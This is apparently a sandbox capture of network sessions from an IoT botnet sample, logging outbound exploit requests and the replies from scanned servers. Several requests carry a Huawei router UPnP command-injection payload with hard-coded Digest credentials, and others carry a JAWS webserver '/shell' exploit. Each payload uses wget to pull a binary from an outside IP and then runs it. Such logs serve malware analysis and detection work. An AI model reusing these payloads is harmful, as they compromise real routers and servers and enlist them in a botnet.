Jan 2, 2024 06:25:15.142281055 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:22.565121889 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:37.155067921 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.23	33838	209.212.159.215	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:09.542470932 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:09.687874079 CET	392	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:09 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.23	43294	192.126.242.162	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:09.578836918 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:09.760179996 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Tue, 02 Jan 2024 05:26:54 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3536 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')
Jan 2, 2024 06:25:09.760232925 CET	1286	IN	Data Raw: 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 Data Ascii: no-repeat left;}/* initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content
Jan 2, 2024 06:25:09.760245085 CET	1220	IN	Data Raw: 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 Data Ascii: sted URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="/shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws">/shell?cd+/tmp;rm+-rf+;wget+

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.23	37018	221.153.44.201	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:09.681418896 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:09.964112997 CET	62	IN	HTTP/1.0 400 Bad Request Connection: Keep-Alive
Jan 2, 2024 06:25:09.964147091 CET	123	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 32 30 0d 0a 58 2d 43 6c 61 63 6b 73 2d 4f 76 65 72 68 65 61 64 3a 20 47 4e 55 20 54 65 72 72 79 20 50 72 61 74 63 68 65 74 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 Data Ascii: Keep-Alive: timeout=20X-Clacks-Overhead: GNU Terry PratchettContent-Type: text/html<h1>Bad Request</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.23	35052	208.109.68.23	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:09.832340956 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:11.255037069 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:25:09 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Retry-After: 86400 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 61 73 6b 69 6e 20 4d 65 64 69 61 20 69 73 20 75 6e 64 65 72 20 63 6f 6e 73 74 72 75 63 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 41 20 64 69 67 69 74 61 6c 2c 20 67 6c 6f 62 61 6c 20 65 6e 74 65 72 74 61 69 6e 6d 65 6e 74 20 63 6f 6d 70 61 6e 79 2e 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 46 72 65 65 20 55 6e 64 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 50 61 67 65 20 70 6c 75 67 69 6e 20 66 6f 72 20 57 6f 72 64 50 72 65 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 39 30 30 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 61 73 6b 69 6e 6d 65 64 69 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 75 6e 64 65 72 2d 63 6f 6e 73 74 72 75 63 74 69 6f 6e 2d 70 61 67 65 2f 74 68 65 6d 65 73 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 3f 76 3d 33 2e 38 38 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 61 73 6b 69 6e 6d 65 64 69 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 75 6e 64 65 72 2d 63 6f 6e 73 74 72 75 63 74 69 6f 6e 2d 70 61 67 65 2f 74 68 65 6d 65 73 2f 63 73 73 2f 63 6f 6d 6d 6f 6e 2e 63 73 73 3f 76 3d 33 2e 38 38 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 61 73 6b 69 6e 6d 65 64 69 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 75 6e 64 65 72 2d 63 6f 6e 73 74 72 75 63 74 69 6f 6e 2d 70 61 67 65 2f 74 68 65 6d 65 73 2f 6d 61 64 5f 64 65 73 69 67 6e 65 72 2f 73 74 79 6c 65 2e 63 73 73 3f 76 3d 33 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Taskin Media is under construction</title> <meta name="description" content="A digital, global entertainment company." /> <meta name="generator" content="Free UnderConstructionPage plugin for WordPress"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:400,900"> <link rel="stylesheet" href="http://www.taskinmedia.com/wp-content/plugins/under-construction-page/themes/css/bootstrap.min.css?v=3.88" type="text/css"><link rel="stylesheet" href="http://www.taskinmedia.com/wp-content/plugins/under-construction-page/themes/css/common.css?v=3.88" type="text/css"><link rel="stylesheet" href="http://www.taskinmedia.com/wp-content/plugins/under-construction-page/themes/mad_designer/style.css?v=3
Jan 2, 2024 06:25:11.255049944 CET	1286	IN	Data Raw: 2e 38 38 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 61 73 6b 69 6e 6d 65 64 69 61 2e 63 6f 6d 2f 77 70 2d 63 Data Ascii: .88" type="text/css"><link rel="stylesheet" href="http://www.taskinmedia.com/wp-content/plugins/under-construction-page/themes/css/font-awesome.min.css?v=3.88" type="text/css"><link rel="icon" sizes="128x128" href="http://www.taskinmedia.com
Jan 2, 2024 06:25:11.255055904 CET	105	IN	Data Raw: 6f 6d 2f 77 70 2d 6c 6f 67 69 6e 2e 70 68 70 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 77 6f 72 64 70 72 65 73 73 20 66 61 2d 32 78 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 2f 69 3e 3c 2f 61 3e 3c 2f 64 69 76 Data Ascii: om/wp-login.php"><i class="fa fa-wordpress fa-2x" aria-hidden="true"></i></a></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.23	53198	38.55.6.58	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:09.906086922 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.23	45924	23.216.114.49	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:10.067214966 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
